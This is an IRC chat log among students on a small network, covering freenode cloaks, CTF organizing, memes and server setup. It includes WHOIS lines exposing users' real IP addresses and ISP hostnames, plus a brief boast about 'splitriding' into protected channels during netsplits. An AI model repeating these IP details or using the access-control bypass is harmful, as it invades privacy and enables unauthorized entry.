[2015-03-12T22:24:05-0400] <fwilson> awe: right
[2015-03-12T22:24:12-0400] <fwilson> i'm just surprised i'm the only one who's disabled it
[2015-03-12T22:24:15-0400] <fwilson> oh, you did too
[2015-03-12T22:24:24-0400] <+awe> Nah, I have a vhost.
[2015-03-12T22:24:26-0400] <alokpathy> wat
[2015-03-12T22:24:28-0400] <fwilson> wait, inspircd vhosts
[2015-03-12T22:24:29-0400] <fwilson> yeah that
[2015-03-12T22:24:31-0400] <ubuntor> oh, lol
[2015-03-12T22:24:48-0400] <fwilson> i remember the days of bouncer station when i ran one of these things ¯\_(ツ)_/¯
[2015-03-12T22:24:54-0400] <+awe> fwilson: I doubt anyone knows about cloaking except you and I and maybe like ubuntor.
[2015-03-12T22:24:55-0400] <fwilson> sdamashek: ^ :D
[2015-03-12T22:25:03-0400] <fwilson> that's probably true :/
[2015-03-12T22:25:12-0400] <jwoglom> fwilson: bouncerstation was great
[2015-03-12T22:25:13-0400] <fwilson> i used my lack of it when my fios ip changed today, it was excellent
[2015-03-12T22:25:19-0400] <jwoglom> ..until it started disconnecting from freenode like once every 2 days
[2015-03-12T22:25:22-0400] <fwilson> ayy that
[2015-03-12T22:25:24-0400] <Hyper> I know about cloaking q.q
[2015-03-12T22:25:27-0400] <+awe> I enabled it by default out of respect for people's privacy.
[2015-03-12T22:25:30-0400] <Hyper> I'm cloaked on freenode
[2015-03-12T22:25:38-0400] <ubuntor> i should get a freenode cloak...
[2015-03-12T22:25:53-0400] <Hyper> it's really easy, just message a mod and ask politely
[2015-03-12T22:25:53-0400] fwilson has userhost affiliated@pool-108-18-144-186.washdc.fios.verizon.net and real name "affiliated"
[2015-03-12T22:25:53-0400] fwilson is connecting from affiliated@pool-108-18-144-186.washdc.fios.verizon.net 108.18.144.186
[2015-03-12T22:25:53-0400] fwilson is on #pdgn #bots ~# 
[2015-03-12T22:25:53-0400] fwilson is connected on raphus.pdgn.co (The Pdgn Network)
[2015-03-12T22:25:53-0400] fwilson is using modes +i
[2015-03-12T22:25:53-0400] fwilson is using a secure connection
[2015-03-12T22:25:53-0400] fwilson signed on at March 12, 2015 at 2:18:46 AM EDT and has been idle for 31 seconds
[2015-03-12T22:25:57-0400] jwoglom has userhost jwoglom@pdgn-npn.rgt.b45una.IP and real name "jwoglom"
[2015-03-12T22:25:57-0400] jwoglom is connecting from jwoglom@pool-100-36-182-11.washdc.fios.verizon.net 100.36.182.11
[2015-03-12T22:25:57-0400] jwoglom is on #pdgn 
[2015-03-12T22:25:57-0400] jwoglom is connected on raphus.pdgn.co (The Pdgn Network)
[2015-03-12T22:25:57-0400] jwoglom is using modes +x
[2015-03-12T22:25:57-0400] jwoglom is using a secure connection
[2015-03-12T22:25:57-0400] jwoglom signed on at March 7, 2015 at 8:02:57 PM EST and has been idle for 39 seconds
[2015-03-12T22:26:02-0400] <fwilson> Hyper: my cloak is best cloak
[2015-03-12T22:26:05-0400] <fwilson> /whois tjhsstbot on freenode
[2015-03-12T22:26:05-0400] <jwoglom> just ask in #freenode
[2015-03-12T22:26:14-0400] <sdamashek> -_-
[2015-03-12T22:26:17-0400] <fwilson> sdamashek: :>
[2015-03-12T22:26:18-0400] <jwoglom> freenode  -- | [tjhsstBot] (ircbot@unaffiliated/affiliated/bot/tjhsstbot): tjhsstBot
[2015-03-12T22:26:23-0400] <ubuntor> hm, ok
[2015-03-12T22:26:23-0400] <fwilson> yay my accountname
[2015-03-12T22:26:32-0400] <+awe> ircbot@unaffiliated/affiliated/bot/tjhsstbot
[2015-03-12T22:26:35-0400] <fwilson> yes
[2015-03-12T22:26:36-0400] <Hyper> unaffiliated/affiliated 
[2015-03-12T22:26:40-0400] <fwilson> do you like my unaffiliated/affiliated cloak
[2015-03-12T22:26:43-0400] <Hyper> wonderful
[2015-03-12T22:26:46-0400] <jwoglom> fwilson: so contradictory
[2015-03-12T22:26:49-0400] <fwilson> jwoglom: yes
[2015-03-12T22:26:50-0400] <jwoglom> but yet so cool
[2015-03-12T22:26:59-0400] <fwilson> i remember when i got the accountname :(
[2015-03-12T22:27:01-0400] <sdamashek> me too!
[2015-03-12T22:27:01-0400] <fwilson> when erry was still staff
[2015-03-12T22:27:02-0400] <Hyper> it's mysteriously sexy
[2015-03-12T22:27:10-0400] <sdamashek> <3 cloaks
[2015-03-12T22:27:10-0400] <fwilson> :(
[2015-03-12T22:27:13-0400] <fwilson> sdamashek: :D
[2015-03-12T22:27:23-0400] <fwilson> sdamashek: remember the staff channel
[2015-03-12T22:27:31-0400] <sdamashek> remember moxy
[2015-03-12T22:27:36-0400] <fwilson> that guy
[2015-03-12T22:27:49-0400] <fwilson> ayy that guy
[2015-03-12T22:27:54-0400] <Hyper> ayy lmao
[2015-03-12T22:27:55-0400] <sdamashek> lmao that guy
[2015-03-12T22:28:02-0400] <jwoglom> fwilson: what's freenode staff turnaround like?
[2015-03-12T22:28:11-0400] <jwoglom> or whatever the term is
[2015-03-12T22:28:14-0400] <jwoglom> how long do they stay staff usually
[2015-03-12T22:28:28-0400] <bob_twinkles> turnover
[2015-03-12T22:28:28-0400] <sdamashek> hmm
[2015-03-12T22:28:29-0400] <+awe> jwoglom: retention time
[2015-03-12T22:28:29-0400] <LittleBobbyTables> awe, what's the intended input and output
[2015-03-12T22:28:35-0400] <fwilson> i've seen some for several years
[2015-03-12T22:28:37-0400] <LittleBobbyTables> on lambda's
[2015-03-12T22:28:38-0400] <+awe> or turnover also works.
[2015-03-12T22:28:39-0400] <fwilson> like, as long as i've been here
[2015-03-12T22:28:41-0400] <+awe> LittleBobbyTables: ??
[2015-03-12T22:28:46-0400] <jwoglom> awe: yeah, that's what i meant
[2015-03-12T22:28:48-0400] <fwilson> yano, erry, jtrucks, and i think tomaw left
[2015-03-12T22:28:52-0400] <sdamashek> yano and erry both left :(
[2015-03-12T22:28:55-0400] <LittleBobbyTables> the haskell ones?
[2015-03-12T22:28:55-0400] <fwilson> no, tomaw is still there
[2015-03-12T22:28:58-0400] <fwilson> but jtrucks did leave
[2015-03-12T22:29:03-0400] <fwilson> CrissiD and thomas took their place
[2015-03-12T22:29:04-0400] <LittleBobbyTables> what input to get XXX output (flag)?
[2015-03-12T22:29:07-0400] <+awe> LittleBobbyTables: OH.
[2015-03-12T22:29:15-0400] <jwoglom> sdamashek: aw those were like the only 2 names i knew
[2015-03-12T22:29:20-0400] <fwilson> jwoglom: yeah :|
[2015-03-12T22:29:27-0400] <LittleBobbyTables> I think 20 for lambda 2, for like rho omicron something sometheing
[2015-03-12T22:29:30-0400] <fwilson> they were the best staff :(
[2015-03-12T22:29:34-0400] <sdamashek> yano was great
[2015-03-12T22:29:38-0400] <fwilson> oh baby
[2015-03-12T22:29:40-0400] <+awe> LittleBobbyTables: 100, -100, 100
[2015-03-12T22:29:41-0400] <sdamashek> ;)
[2015-03-12T22:29:42-0400] <fwilson> that is all i need to say
[2015-03-12T22:29:43-0400] <+awe> LittleBobbyTables: IIRC
[2015-03-12T22:29:50-0400] <sdamashek> I remember ircpuzzles
[2015-03-12T22:29:59-0400] <+awe> LittleBobbyTables: but yeah, for 2, 20 also works or something.
[2015-03-12T22:30:06-0400] <fwilson> 1, 2, 3, 10167, 10168, 10169!
[2015-03-12T22:30:28-0400] <LittleBobbyTables> hmm ok
[2015-03-12T22:30:29-0400] <Tamini> oh, god
[2015-03-12T22:30:33-0400] <Tamini> the april fools ones?
[2015-03-12T22:30:34-0400] <Tamini> o-o
[2015-03-12T22:30:37-0400] <fwilson> Tamini: :D
[2015-03-12T22:30:38-0400] <sdamashek> no
[2015-03-12T22:30:44-0400] <sdamashek> the separate ones we put on
[2015-03-12T22:30:44-0400] <Tamini> fwilson: :D
[2015-03-12T22:30:46-0400] <fwilson> ircpuzzles was fun
[2015-03-12T22:30:47-0400] <Tamini> oh, darn
[2015-03-12T22:30:49-0400] <sdamashek> but the april fools ones were fun too
[2015-03-12T22:30:52-0400] <Tamini> I want to do those
[2015-03-12T22:30:56-0400] <Tamini> we should do them together this year
[2015-03-12T22:30:56-0400] <fwilson> sdamashek: that prime number problem
[2015-03-12T22:31:05-0400] <Tamini> I ragequit after that um
[2015-03-12T22:31:07-0400] <sdamashek> Tamini: well, tjctf is enough ctf organizing for me :P
[2015-03-12T22:31:09-0400] <fwilson> lol.
[2015-03-12T22:31:10-0400] <Tamini> linkhopping problem
[2015-03-12T22:31:11-0400] <Tamini> and lol
[2015-03-12T22:31:23-0400] <Tamini> i'm basically halfassing both halves of my organizing duty ;-;
[2015-03-12T22:31:26-0400] <fwilson> i need to actually write some of my problems
[2015-03-12T22:31:30-0400] <Tamini> ^^^^
[2015-03-12T22:31:31-0400] <fwilson> i'm in the middle of like 4
[2015-03-12T22:31:38-0400] <sdamashek> fwilson: AYY
[2015-03-12T22:31:40-0400] <fwilson> and in the middle of this history project
[2015-03-12T22:32:01-0400] <jwoglom> fwilson: stop being so lazy :P
[2015-03-12T22:32:17-0400] <sdamashek> AYY
[2015-03-12T22:32:19-0400] <sdamashek> AYY-LMAO
[2015-03-12T22:32:21-0400] <sdamashek> LMAO
[2015-03-12T22:32:21-0400] <fwilson> sdamashek: Ayy! LMAO.
[2015-03-12T22:32:28-0400] <Tamini> AYY Lmao!
[2015-03-12T22:32:34-0400] <sdamashek> AYY DANK
[2015-03-12T22:32:37-0400] <sdamashek> Dank memes are the future
[2015-03-12T22:32:40-0400] <sdamashek> MEMES
[2015-03-12T22:32:41-0400] <Tamini> fwilson: push f to a stack for me
[2015-03-12T22:32:50-0400] <fwilson> one sec
[2015-03-12T22:32:52-0400] <sdamashek> LMAO,MEMES
[2015-03-12T22:32:52-0400] <fwilson> trying to find my vim windows
[2015-03-12T22:32:55-0400] <sdamashek> LMAO
[2015-03-12T22:32:58-0400] <jwoglom> dayyyyynk lmemes
[2015-03-12T22:33:01-0400] <sdamashek> there's ayylmaotcp for you
[2015-03-12T22:33:33-0400] <sdamashek> actually there should have been a LMAO after "Dank memes are the future"
[2015-03-12T22:33:50-0400] <fwilson> Ayy lmao! ayy lmao ayy lmao Ayy lmao ayy lmao ayy LMAO Ayy lmao ayy LMAO Ayy lmao ayy lmao ayy lmao ayy lmao Ayy LMAO Ayy LMAO ayy LMAO ayy lmao Ayy LMAO ayy LMAO Ayy Lmao Ayy lmao! Ayy lmao! Ayy lmao Ayy lmao Ayy lmao AYY lmao.
[2015-03-12T22:33:54-0400] <fwilson> there we go
[2015-03-12T22:34:06-0400] columba.pdgn.co kicked JacobEdelman from the channel (ayy lmao)
[2015-03-12T22:34:11-0400] JacobEdelman (uid15877@pdgn-5ih.9lf.7cuf9e.IP) joined the channel
[2015-03-12T22:34:11-0400] <sdamashek> ayy lmao
[2015-03-12T22:34:13-0400] <ubuntor> ayy
[2015-03-12T22:34:13-0400] <jwoglom> ayy
[2015-03-12T22:34:16-0400] <fwilson> lmao
[2015-03-12T22:34:16-0400] <bob_twinkles> lmao
[2015-03-12T22:34:16-0400] <jwoglom> lmao
[2015-03-12T22:34:17-0400] <fwilson> lmao
[2015-03-12T22:34:19-0400] <+awe> lmao
[2015-03-12T22:34:20-0400] <jwoglom> lmao
[2015-03-12T22:34:23-0400] <fwilson> Ayy. lmao?
[2015-03-12T22:34:26-0400] <jwoglom> lmao.
[2015-03-12T22:34:29-0400] <+awe> ayyyy
[2015-03-12T22:34:33-0400] <bob_twinkles> lmao?
[2015-03-12T22:34:37-0400] <jwoglom> ayy?
[2015-03-12T22:34:39-0400] <sdamashek> AYY-LMAO
[2015-03-12T22:34:47-0400] <jwoglom> lmao, ayy?
[2015-03-12T22:34:49-0400] <fwilson> i just need one more article
[2015-03-12T22:34:52-0400] <ubuntor> lmao~
[2015-03-12T22:34:54-0400] <fwilson> sdamashek: MEMES
[2015-03-12T22:34:59-0400] <jwoglom> fwilson: dank?
[2015-03-12T22:35:00-0400] <sdamashek> fwilson: LMAO, MEMES
[2015-03-12T22:35:03-0400] <fwilson> sdamashek: MEMES-LMAO
[2015-03-12T22:35:05-0400] <Tamini> Ayy lmao
[2015-03-12T22:35:11-0400] <sdamashek> fwilson: BLAZEIT
[2015-03-12T22:35:12-0400] <fwilson> sdamashek: LMAO
[2015-03-12T22:35:15-0400] <sdamashek> fwilson: BLAZEIT
[2015-03-12T22:35:15-0400] <+awe> 420 ayyyy
[2015-03-12T22:35:22-0400] <fwilson> 420 smoke memes daily
[2015-03-12T22:35:24-0400] <fwilson> i mean
[2015-03-12T22:35:26-0400] <fwilson> hi
[2015-03-12T22:35:29-0400] <ubuntor> 420.moe
[2015-03-12T22:35:30-0400] <jwoglom> blazelmao daily?
[2015-03-12T22:35:35-0400] <bob_twinkles> xXxDANKMEMESxXx?
[2015-03-12T22:35:45-0400] <+awe> dank{
[2015-03-12T22:35:46-0400] <bob_twinkles> also, the SNR is currently negative
[2015-03-12T22:35:46-0400] <fwilson> who else in here is actively a member of hhct
[2015-03-12T22:35:48-0400] <fwilson> bob_twinkles: ok
[2015-03-12T22:36:11-0400] <+awe> bob_twinkles: I disagree, this is the highest our SNR has ever been.
[2015-03-12T22:36:18-0400] <fwilson> *NSR
[2015-03-12T22:36:29-0400] <jwoglom> this is basically becoming a TJ channel
[2015-03-12T22:36:31-0400] <jwoglom> lol
[2015-03-12T22:36:45-0400] <fwilson> that is ok
[2015-03-12T22:36:52-0400] <fwilson> oh apparently i own # now
[2015-03-12T22:36:54-0400] <fwilson> so ok
[2015-03-12T22:36:54-0400] <+awe> I think there's more Uni students than TJ students?
[2015-03-12T22:37:02-0400] <bob_twinkles> except with less age differential
[2015-03-12T22:37:07-0400] <sdamashek> fwilson: well I own ## :P
[2015-03-12T22:37:15-0400] <jwoglom> i dunno who like half of this channel is, actually
[2015-03-12T22:37:26-0400] <Tamini> well
[2015-03-12T22:37:41-0400] <fwilson> sdamashek: fien :(
[2015-03-12T22:37:42-0400] <+awe> There are 9 people in this channel who are in Uni (or older).
[2015-03-12T22:37:45-0400] <Tamini> i think the original hsctf ircers still hold a majority
[2015-03-12T22:37:49-0400] <fwilson> ayy lmao
[2015-03-12T22:38:03-0400] <+awe> There are six who are from TJ.
[2015-03-12T22:38:10-0400] <Tamini> including awebot and ezra (who is pretty much jacob)
[2015-03-12T22:38:44-0400] <jwoglom> majority doesn't matter if they don't talk in channel as often  :P
[2015-03-12T22:38:55-0400] <Tamini> awe and Jacob and I talk all the time.
[2015-03-12T22:38:59-0400] <+awe> This channel consists almost entirely of me and hardmath123 talking.
[2015-03-12T22:39:09-0400] <Tamini> mm, I guess.
[2015-03-12T22:39:16-0400] <+awe> And me and JacobEdelman.
[2015-03-12T22:39:34-0400] <+awe> I'm fairly certain I speak more than everyone here.
[2015-03-12T22:39:47-0400] <jwoglom> yeah i think that's pretty obvious, lol
[2015-03-12T22:39:56-0400] <+awe> Actually, I just realized: if I never lose logs, I will have the complete history of this Pdgn forever.
[2015-03-12T22:40:02-0400] <+awe> of this channel rather.
[2015-03-12T22:40:09-0400] <Tamini> well
[2015-03-12T22:40:14-0400] <jwoglom> channel, pdgn, same thing :P
[2015-03-12T22:40:16-0400] <Tamini> there's only two real channels with people talking significantly
[2015-03-12T22:40:17-0400] <Tamini> arent there
[2015-03-12T22:40:23-0400] <fwilson> i talk a lot in a pm to myself
[2015-03-12T22:40:25-0400] <fwilson> i mean
[2015-03-12T22:40:27-0400] <fwilson> hello
[2015-03-12T22:40:28-0400] <+awe> fwilson: lol
[2015-03-12T22:40:33-0400] <+awe> There's a couple, I think.
[2015-03-12T22:40:38-0400] <Tamini> awe used to have access to my PMs
[2015-03-12T22:40:39-0400] <fwilson> wow i've gone through my FTL playlist twice already :/
[2015-03-12T22:40:39-0400] <Tamini> and lol
[2015-03-12T22:40:44-0400] <Tamini> which ones that I don't know about already?
[2015-03-12T22:40:44-0400] <fwilson> >no server-side logging
[2015-03-12T22:40:46-0400] <fwilson> please
[2015-03-12T22:41:00-0400] <+awe> fwilson: It was on my ZNC.
[2015-03-12T22:41:07-0400] <+awe> Tamini: #rust and #study have 5 people.
[2015-03-12T22:41:14-0400] <+awe> We don't talk in #rust though lol.
[2015-03-12T22:41:19-0400] <jwoglom> isn't #study not really used anymore
[2015-03-12T22:41:21-0400] <sdamashek> what about #ayy and #lmao
[2015-03-12T22:41:21-0400] <+awe> I dunno.
[2015-03-12T22:41:21-0400] <fwilson> awe: ah heh
[2015-03-12T22:41:24-0400] <Hyper> nobody talks about #rust
[2015-03-12T22:41:27-0400] • Hyper: founds #d
[2015-03-12T22:41:37-0400] <+awe> Most of the conversation is definitely here.
[2015-03-12T22:41:42-0400] <failedxyz> lol
[2015-03-12T22:41:54-0400] <Tamini> no one actually talks on any of them 
[2015-03-12T22:41:55-0400] <Tamini> :P
[2015-03-12T22:41:57-0400] <Tamini> so 
[2015-03-12T22:42:01-0400] <failedxyz> how about #php
[2015-03-12T22:42:05-0400] <+awe> We'll have other channels as we grow.
[2015-03-12T22:42:07-0400] <Tamini> only two channels with real content
[2015-03-12T22:42:07-0400] <jwoglom> there's nothing wrong with a one-channel network :P
[2015-03-12T22:42:09-0400] <Tamini> and lol #php
[2015-03-12T22:42:18-0400] <ubuntor> oh god no
[2015-03-12T22:42:19-0400] <+awe> jwoglom: most modern IRC networks consist mostly of one channel, honestly.
[2015-03-12T22:42:25-0400] <Hyper> we have more than one channel?
[2015-03-12T22:42:29-0400] <fwilson> freenode doesn't really
[2015-03-12T22:42:33-0400] <fwilson> and uh
[2015-03-12T22:42:34-0400] <jwoglom> awe: well, there's stuff like freenode
[2015-03-12T22:42:35-0400] <+awe> Yeah.
[2015-03-12T22:42:38-0400] <+awe> There's a few big ones.
[2015-03-12T22:42:41-0400] <fwilson> rizon?
[2015-03-12T22:42:44-0400] <+awe> But most of the ones that exist are really just a couple channels.
[2015-03-12T22:42:44-0400] <fwilson> they have #templeos
[2015-03-12T22:42:46-0400] <bob_twinkles> esprnet
[2015-03-12T22:42:54-0400] <fwilson> you guys should totally join #templeos on rizon
[2015-03-12T22:43:02-0400] <fwilson> and don't troll it
[2015-03-12T22:43:04-0400] <+awe> I'm only in one channel on Freenode.
[2015-03-12T22:43:04-0400] <fwilson> definitely don't
[2015-03-12T22:43:13-0400] <+awe> Two on HypeIRC (only one of which has talking)
[2015-03-12T22:43:21-0400] <+awe> A ton of the Mozilla IRC.
[2015-03-12T22:43:21-0400] <fwilson> i used to be on hypeirc :o
[2015-03-12T22:43:27-0400] <Tamini> just because you're only in one channel
[2015-03-12T22:43:30-0400] <Tamini> doesnt mean only one exists :P
[2015-03-12T22:43:37-0400] <+awe> Tamini: #haskell is the only channel on Freenode.
[2015-03-12T22:43:41-0400] <fwilson> what
[2015-03-12T22:43:44-0400] <fwilson> i'm in many more
[2015-03-12T22:43:47-0400] <+awe> Nope.
[2015-03-12T22:43:49-0400] <+awe> You're not.
[2015-03-12T22:43:50-0400] <jwoglom> there is /list, no?
[2015-03-12T22:43:51-0400] <fwilson> no you're wrong
[2015-03-12T22:43:55-0400] <+awe> There are no channels on Freenode except for #haskell.
[2015-03-12T22:43:56-0400] <fwilson> you should totally run /list on freenode
[2015-03-12T22:44:02-0400] <jwoglom> on pdgn i mean
[2015-03-12T22:44:04-0400] <fwilson> yes
[2015-03-12T22:44:06-0400] <+awe> jwoglom: There is.
[2015-03-12T22:44:12-0400] <+awe> fwilson: #haskell is the only channel.
[2015-03-12T22:44:13-0400] <jwoglom> well duh i just ran it :P
[2015-03-12T22:44:24-0400] <jwoglom> awe: what about #freenode
[2015-03-12T22:44:28-0400] <jwoglom> does that not exist
[2015-03-12T22:44:32-0400] <+awe> It's a myth.
[2015-03-12T22:44:44-0400] <bob_twinkles> I'm in... 5 active channels on freenode?
[2015-03-12T22:44:58-0400] • awe: hopes nobody finds his +s channels on Pdgn.
[2015-03-12T22:44:59-0400] <bob_twinkles> ##opengl, ##vulkan, #haskell and 2 tj IRC channels
[2015-03-12T22:44:59-0400] <fwilson> 1 windows used (0 vertically / 0 horizontally split). 67 (of which 4 merged) buffers open: 1 core, 1 perl, 1 relay, 1 script, 2 irc queries, 3 irc servers, 58 irc channels
[2015-03-12T22:45:17-0400] <bob_twinkles> how many of those are active though
[2015-03-12T22:45:18-0400] <fwilson> ¯\_(ツ)_/¯
[2015-03-12T22:45:21-0400] <+awe> fwilson: you know I'm joking, right?
[2015-03-12T22:45:27-0400] <fwilson> bob_twinkles: usually around 20ish
[2015-03-12T22:45:27-0400] <Tamini> lol
[2015-03-12T22:45:29-0400] <Tamini> "nobody"?
[2015-03-12T22:45:29-0400] <fwilson> awe: yes :p
[2015-03-12T22:45:33-0400] <jwoglom> awe: well that is what +s means :P
[2015-03-12T22:45:38-0400] <jwoglom> secret, from public lists at least
[2015-03-12T22:45:48-0400] <+awe> jwoglom: doesn't mean you can't find them...
[2015-03-12T22:45:49-0400] <fwilson> +s means a lot more on smaller networks like this one
[2015-03-12T22:45:50-0400] • awe: shifty-eyes.
[2015-03-12T22:45:52-0400] <Tamini> it's not exactly a guessable channel in itself either.
[2015-03-12T22:46:04-0400] <fwilson> there are a lot of ways to get around irc protections
[2015-03-12T22:46:15-0400] <ubuntor> hm, i made a mibbit network on znc for nothing...
[2015-03-12T22:46:15-0400] <fwilson> splitriding into the freenode staff channels is fun
[2015-03-12T22:46:16-0400] <+awe> Tamini: I said channels. ;)
[2015-03-12T22:46:17-0400] <bob_twinkles> gotta +k and use encrypted IRC
[2015-03-12T22:46:21-0400] <jwoglom> awe: yeah, js
[2015-03-12T22:46:24-0400] <Tamini> mmm ;)
[2015-03-12T22:46:24-0400] <fwilson> bob_twinkles: you can still splitride
[2015-03-12T22:46:34-0400] <Tamini> fwilson: if you find it you can try to join it
[2015-03-12T22:46:36-0400] <fwilson> not as much of an issue on a single-server network like this though
[2015-03-12T22:46:38-0400] <fwilson> Tamini: is it +i?
[2015-03-12T22:46:45-0400] <Tamini> maybe
[2015-03-12T22:46:59-0400] <fwilson> because as long as all of the users are on a single server i can join it during a netsplit
[2015-03-12T22:47:00-0400] <+awe> fwilson: we're not single-server.
[2015-03-12T22:47:03-0400] <fwilson> awe: i know
[2015-03-12T22:47:07-0400] <fwilson> that's why i can do that :p
[2015-03-12T22:47:18-0400] <Tamini> there was one point where
[2015-03-12T22:47:23-0400] <jwoglom> awe: has there been a netsplit yet? :P
[2015-03-12T22:47:24-0400] <Tamini> that was at risk of happening, though
[2015-03-12T22:47:27-0400] <Tamini> we all freaked out for a bit
[2015-03-12T22:47:28-0400] <fwilson> but it's barely possible for a netsplit to happen here, i think
[2015-03-12T22:47:31-0400] <+awe> jwoglom: yeah, once.
[2015-03-12T22:47:37-0400] <ubuntor> oh, really?
[2015-03-12T22:47:40-0400] <fwilson> because no hubs
[2015-03-12T22:47:46-0400] <+awe> fwilson: there's a hub.
[2015-03-12T22:47:50-0400] <fwilson> awe: wait, there is?
[2015-03-12T22:47:54-0400] <+awe> lol, I mean, sort of.
[2015-03-12T22:47:55-0400] <fwilson> /links lies :(
[2015-03-12T22:48:08-0400] <+awe> Columba is the hub?
[2015-03-12T22:48:11-0400] <+awe> Raphus is connected to Columba.
[2015-03-12T22:48:23-0400] <Tamini> I'm pretty sure this was before you added Raphus
[2015-03-12T22:48:27-0400] <fwilson>  Permission denied - STATS l requires the servers/auspex priv.
[2015-03-12T22:48:29-0400] <fwilson> :(
[2015-03-12T22:48:31-0400] <fwilson> oh well
[2015-03-12T22:48:38-0400] <fwilson> wow
[2015-03-12T22:48:56-0400] <fwilson> i can't do any stats O_o
[2015-03-12T22:48:57-0400] <+awe> Tamini: ???
[2015-03-12T22:49:02-0400] <+awe> fwilson: what do you want me to check?
[2015-03-12T22:49:03-0400] <Tamini> awe: netsplit?
[2015-03-12T22:49:10-0400] <+awe> Tamini: netsplits can't happen with only one server.
[2015-03-12T22:49:11-0400] <fwilson> awe: i was mostly just poking around
[2015-03-12T22:49:16-0400] <+awe> Tamini: I assure you it happened after I added raphus. :p
[2015-03-12T22:49:24-0400] <Tamini> are you sure
[2015-03-12T22:49:26-0400] <+awe> Yes.
[2015-03-12T22:49:26-0400] <Tamini> am i having a memory flaw
[2015-03-12T22:49:27-0400] <fwilson> yes
[2015-03-12T22:49:28-0400] <jwoglom> awe: ..not with that attitude :P
[2015-03-12T22:49:31-0400] <fwilson> it's literally impossible for that to happen
[2015-03-12T22:49:34-0400] <+awe> Server split from itself lol
[2015-03-12T22:49:39-0400] <Tamini> lol
[2015-03-12T22:49:39-0400] <Tamini> darn
[2015-03-12T22:49:41-0400] <Tamini> yes
[2015-03-12T22:49:49-0400] <jwoglom> that would be great
[2015-03-12T22:49:52-0400] <Tamini> i now realize that's impossible
[2015-03-12T22:49:59-0400] <+awe> I want to get a third server :(
[2015-03-12T22:50:03-0400] <Tamini> but i still feel like chronogically it's iffy
[2015-03-12T22:50:06-0400] <+awe> Why don't you guys donate?
[2015-03-12T22:50:15-0400] <fwilson> i wouldn't mind actually running a server
[2015-03-12T22:50:16-0400] <Tamini> I'm poor!
[2015-03-12T22:50:18-0400] <fwilson> i have tons of do credit
[2015-03-12T22:50:19-0400] <jwoglom> awe: isn't there basically no incentive or reason to do that though?
[2015-03-12T22:50:21-0400] <fwilson> but i have no money
[2015-03-12T22:50:23-0400] <fwilson> lol
[2015-03-12T22:50:27-0400] <+awe> Then we could have a cool european server for MrSaints to connect to.
[2015-03-12T22:50:28-0400] <Tamini> sell your chromebooks
[2015-03-12T22:50:29-0400] <jwoglom> i mean, i have an always running do instance
[2015-03-12T22:50:31-0400] <Tamini> donate to pdgn
[2015-03-12T22:50:40-0400] <jwoglom> that can continue to run for like..18 months
[2015-03-12T22:50:54-0400] <fwilson> awe: would you like to be notified of malicious activity
[2015-03-12T22:51:00-0400] <+awe> ???
[2015-03-12T22:51:05-0400] <+awe> What do you mean?
[2015-03-12T22:51:05-0400] <fwilson> there you go
[2015-03-12T22:51:14-0400] <Tamini> so um
[2015-03-12T22:51:17-0400] <Tamini> I should give you a fair warning
[2015-03-12T22:51:20-0400] <fwilson> apparently inspircd has a feature where you get notified when anyone does /server
[2015-03-12T22:51:21-0400] <Tamini> fwilson likes to break things a lot
[2015-03-12T22:51:23-0400] <Tamini> and he's good at it
[2015-03-12T22:51:30-0400] <+awe> InspIRCd is pretty rugged.
[2015-03-12T22:51:32-0400] <Tamini> well, this time it was mainly harmless :P
[2015-03-12T22:51:38-0400] <jwoglom> fwilson: keep breaking things, see what happens :P
[2015-03-12T22:51:40-0400] <fwilson> inspircd is solid, yeah
[2015-03-12T22:51:47-0400] <+awe> But that'll be good to have him around when I work on my IRCd. :p
[2015-03-12T22:51:53-0400] <+awe> ubuntor is also really good at breaking my things.
[2015-03-12T22:52:07-0400] <fwilson> what, i can't even view my own connection class limits
[2015-03-12T22:52:22-0400] <ubuntor> hm?
[2015-03-12T22:52:36-0400] <fwilson> 22:50 -- raphus.pdgn.co server rules:
[2015-03-12T22:52:38-0400] <fwilson> 22:50 -- - Be civil.
[2015-03-12T22:52:40-0400] <fwilson> 22:50 -- End of RULES command.
[2015-03-12T22:52:42-0400] <fwilson> ¯\_(ツ)_/¯ works for me
[2015-03-12T22:52:48-0400] <Tamini> but but but
[2015-03-12T22:52:51-0400] <Tamini> awe breaks that rule all the time
[2015-03-12T22:53:00-0400] <+awe> I do not.
[2015-03-12T22:53:31-0400] <Tamini> iunno
[2015-03-12T22:53:36-0400] <jwoglom> you should at least add "Rules must be followed by all but awe"
[2015-03-12T22:53:40-0400] <Tamini> you arent exactly the epitome of civility mid-argument
[2015-03-12T22:53:40-0400] <jwoglom> just to protect yourself, y'know
[2015-03-12T22:53:56-0400] <fwilson> did you know that 48% of your users are on raphus
[2015-03-12T22:53:58-0400] <+awe> If you legitimately feel like I'm not being civil, please say so.
[2015-03-12T22:54:17-0400] <fwilson> oh hey, a list of all the loaded commands and modules
[2015-03-12T22:54:18-0400] <+awe> fwilson: Which is funny because ~90% of the network is located in the NY or DC metropolitan area.
[2015-03-12T22:54:21-0400] <fwilson> lol
[2015-03-12T22:54:36-0400] <Tamini> we should get a geographic distribution of #pdgn
[2015-03-12T22:54:42-0400] <Tamini> i sense a giant clump near dc
[2015-03-12T22:54:48-0400] <jwoglom> make a map or something, lol
[2015-03-12T22:54:49-0400] <Tamini> and another minor clump near princeton
[2015-03-12T22:54:58-0400] <+awe> I can make a map.
[2015-03-12T22:55:01-0400] <+awe> I know where everyone lives.
[2015-03-12T22:55:16-0400] <fwilson> oh cool, there's umode +B
[2015-03-12T22:55:18-0400] <jwoglom> awe: where do i live
[2015-03-12T22:55:23-0400] <fwilson> guys look at my whois
[2015-03-12T22:55:25-0400] <fwilson> i'm a bot
[2015-03-12T22:55:40-0400] <jwoglom> of course you are, fwilson :P
[2015-03-12T22:55:40-0400] <+awe> jwoglom: northern VA.
[2015-03-12T22:55:54-0400] <fwilson> you can almost definitely get my exact address
[2015-03-12T22:55:57-0400] <fwilson> it's listed in three separate places
[2015-03-12T22:55:57-0400] <jwoglom> awe: what zipcode? :P
[2015-03-12T22:56:04-0400] <fwilson> please don't stalk me
[2015-03-12T22:56:08-0400] <Tamini> wow
[2015-03-12T22:56:11-0400] <Tamini> not stalkerish at all
[2015-03-12T22:56:12-0400] <jwoglom> >you can almost definately get my exact address
[2015-03-12T22:56:14-0400] <jwoglom> >please don't stalk me
[2015-03-12T22:56:19-0400] <fwilson> what
[2015-03-12T22:56:25-0400] <Tamini> I actually dont know where hardmath123 lives specifically
[2015-03-12T22:56:25-0400] <fwilson> .us domains have no whoisguard
[2015-03-12T22:56:29-0400] <+awe> fwilson: they can't.
[2015-03-12T22:56:31-0400] <Tamini> i just know somewhere in california
[2015-03-12T22:56:35-0400] <fwilson> awe: right
